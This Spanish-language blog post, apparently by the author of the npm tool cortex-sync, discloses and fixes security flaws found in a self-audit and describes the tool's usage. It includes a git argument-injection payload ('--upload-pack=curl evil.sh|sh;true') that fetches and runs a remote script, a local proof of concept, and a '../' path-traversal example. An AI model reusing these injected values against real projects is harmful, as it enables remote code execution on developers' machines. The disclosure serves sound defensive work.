
npm install -g cortex-sync@latest
cortex-sync lleva desde mayo en npm — más de cien commits, actualizaciones semanales al principio. Como conté hace unos días, lo construí rápido, iterando en público, y seguí agregando features sin frenar a hacerle una auditoría de seguridad de verdad.
Esta semana la hice. Este post cuenta qué encontré, cómo lo verifiqué, y qué cambia en la 0.5.0 que acabo de publicar.
Empiezo por lo más serio.
cortex hace algo aparentemente inofensivo: lee una URL de un archivo cortex.json y clona ese repo.
spawnSync('git', ['clone', repoUrl, dir], { stdio: 'pipe', env });
Ese código tiene un problema. repoUrl va como argumento posicional, sin validar y sin separador --. Si la URL empieza con --, git no la trata como URL. La trata como opción.
Y git tiene una opción llamada --upload-pack, que sirve para especificar qué comando ejecutar del lado remoto.
Lo verifiqué en lugar de teorizarlo:
git clone "--upload-pack=touch /tmp/pwned;true" "file:///tmp/real.git" /tmp/out
# fatal: No se pudo leer del repositorio remoto.
ls /tmp/pwned
# /tmp/pwned ← el comando se ejecutó
Git falla el clone, pero ejecuta el comando primero.
Ahora la cadena de ataque completa, que es lo que lo vuelve serio:
cortex.json que contiene "repo": "--upload-pack=curl evil.sh|sh;true".cortex install — que es literalmente lo que mi propio README te dice que hagas.El cortex.json está commiteado en el repo. No hace falta comprometer nada: basta con que clones un proyecto y sigas las instrucciones.
El fix tiene tres capas, porque una sola no alcanza:
export function assertSafeRepoUrl(repoUrl: string): void {
const isHttps = /^https:\/\/[a-zA-Z0-9.-]+(:\d+)?(\/.*)?$/.test(repoUrl);
const isFile = /^file:\/\//.test(repoUrl); // solo para tests locales
if (!isHttps && !isFile) {
throw new Error(`Invalid repo URL: "${repoUrl}". Must start with https://`);
}
}
// + separador `--` para que git nunca interprete la URL como opción
// + `-c protocol.ext.allow=never` como defensa en profundidad
Y algo que me interesa más que el fix: el proyecto ya documentaba la lección correcta y aun así fallé. Mi propio CLAUDE.md tiene una sección de "errores cometidos en el pasado" donde el error #5 es, textualmente, "nunca metas el token en la URL de git". Arreglé el token. No se me ocurrió que la URL entera fuera el input peligroso.
Escribir la lección no es lo mismo que internalizar el patrón. El patrón real era "entrada no confiable llega a spawn", y yo lo había archivado como "los tokens son secretos".
Refactoricé sync/pull para que trabajen por proyecto en vez de sincronizar toda la carpeta ~/.claude/. En el código viejo había una guarda explícita contra path traversal. En el refactor, la perdí.
join('/home/user/proyecto', '../../../../.bashrc') → '/.bashrc'
Un manifiesto con una ruta como docs/../../../../.bashrc escribe fuera del proyecto. Para explotarlo hace falta la passphrase — pero en modo equipo la passphrase es compartida entre todos los devs, así que un miembro malicioso del equipo alcanza.
Lo encontré revisando mi propio diff del día. La lección: un refactor no solo mueve código, puede borrar defensas que estaban ahí por una razón que ya nadie recuerda. Si el guard hubiera tenido un test, el refactor se habría puesto rojo. No lo tenía. Ahora sí.
cortex sync --redactMientras auditaba, busqué qué problemas reales tiene la gente con las sesiones de Claude Code. Encontré un dato que me hizo mover esto de "backlog" a "esta semana": un scan encontró 428 paquetes publicados en npm con .claude/settings.local.json incluido por error, y 33 de esos con credenciales vivas. Ya existe una herramienta standalone solo para esto (claude-vault).
El detector de secretos de cortex existía desde la primera versión, pero solo advertía — nunca bloqueaba nada. cortex sync --redact ahora sustituye cada secreto detectado (claves de AWS, tokens de GitHub, claves privadas) por un placeholder antes de cifrar, no solo antes de avisar.
Ocho hallazgos en total, dos críticos (los de arriba) y seis menores. Los que vale la pena mencionar:
CLAUDE.md de un proyecto aparece como un skill de otro. El fix es atar la ruta como additional authenticated data.salt = SHA256(email). El email es público y adivinable, así que un atacante puede precomputar contra un objetivo específico. PBKDF2 con 600k iteraciones sigue siendo la defensa real, pero un salt aleatorio guardado en el manifiesto es estrictamente mejor — y además habilita rotación de clave, que hoy es imposible.ensureGitHubRepo no verificaba privacidad: si ya tenías un repo público llamado cortex-backup, cortex subía ahí sin decir nada. El contenido va cifrado, pero los metadatos —nombres de archivo, estructura de proyectos, timestamps— quedaban expuestos.Dos cosas, ambas acotadas al proyecto en el que estás parado:
| Destino | Cifrado | |
|---|---|---|
cortex sync / pull | Tu storage personal (repo privado de GitHub o carpeta local) | Todo, siempre (AES-256-GCM) |
cortex team | Un repo de GitHub compartido con tu equipo | Sesiones opcional; CLAUDE.md/skills en claro |
# Máquina A, dentro del proyecto
cortex init # repo privado de GitHub, o carpeta local (Dropbox/Syncthing)
cortex sync # cifra y sube sesiones, CLAUDE.md, skills, docs
# Máquina B, dentro del mismo proyecto (la ruta local puede ser otra)
cortex init
cortex pull # baja, descifra, remapea rutas, restaura todo
Abres el proyecto en B y Claude Code tiene el historial, el CLAUDE.md y los skills de A.
# Tech lead
cortex team init --repo https://github.com/tu-org/claude-config
cortex team push
# Cada dev, una vez
cortex install --repo https://github.com/tu-org/claude-config
El dev que entra el lunes arranca con el CLAUDE.md del proyecto, los skills del equipo y la documentación ya instalados. Sin onboarding verbal.
sedUn JSONL de sesión mezcla rutas estructurales (que hay que reescribir) con rutas históricas (que hay que dejar en paz: la salida de un comando, un stack trace, tu propio texto). Reescribir las segundas falsifica el historial.
cortex toca exactamente cuatro campos por línea: cwd, toolUseResult.filePath, toolUseResult.file.filePath, message.content[].input.file_path. Todo lo demás pasa byte por byte.
Detalle que costó una tarde: si parseas y re-serializas una línea sin cambiarla, JSON.stringify normaliza espacios, el checksum cambia y tu sync cree que todo se modificó, en cada corrida, para siempre. La solución es llevar un booleano de "esta línea realmente cambió" y, si no cambió, escribir los bytes originales.
El PAT de GitHub jamás se embebe en la URL. cortex escribe un script temporal (modo 700, borrado en finally) y se lo pasa a git vía GIT_ASKPASS:
withAskpass(token, (env) => {
spawnSync('git', ['clone', '--', repoUrl, dir], { stdio: 'pipe', env });
});
Así el token no termina en .git/config, ni en FETCH_HEAD, ni en ningún archivo versionado. Hay un test que clona un repo y falla si el token aparece en .git/config.
Puedes usar un solo repo privado (o una sola carpeta de Dropbox) para todos tus proyectos. Cada uno vive bajo su propia clave derivada de su identidad de git:
manifest/<projectKey>.json.enc
files/projects/<projectKey>/{sessions,skills,docs}/…
Sincronizar el proyecto B no puede tocar los datos del proyecto A. No por una guarda que haya que mantener: por estructura.
Lo honesto sobre el estado actual: el backend de GitHub se rompe con sesiones grandes. La Contents API no devuelve contenido para archivos de más de 1 MB, y en mi propia máquina 7 de 16 sesiones lo superan — la más grande pesa 46 MB. Migrar a la Git Data API y comprimir antes de cifrar (JSONL comprime cerca de 10:1) es la prioridad inmediata.
Después de eso, en orden: AAD en el cifrado, salt aleatorio con rotación de clave (cortex rekey), y dos features que quiero de verdad:
cortex search — búsqueda full-text sobre tu historial sincronizado. Poder hacer grep de "¿cómo resolvimos esto la última vez?" sobre meses de sesiones.Si ya lo tenías instalado, esto es lo único que importa hoy:
npm install -g cortex-sync@latest # → 0.5.0
Y si es tu primera vez:
npm install -g cortex-sync@latest
cd tu-proyecto
cortex init
cortex sync
Es open source bajo AGPL-3.0. Si encuentras algo —sobre todo si es de seguridad— abre un issue. Este post existe porque creo que auditar tu propio código y publicar lo que encontraste vale más que dejarlo pasar en silencio.
GitHub: SebastiaWeb/cortex-cli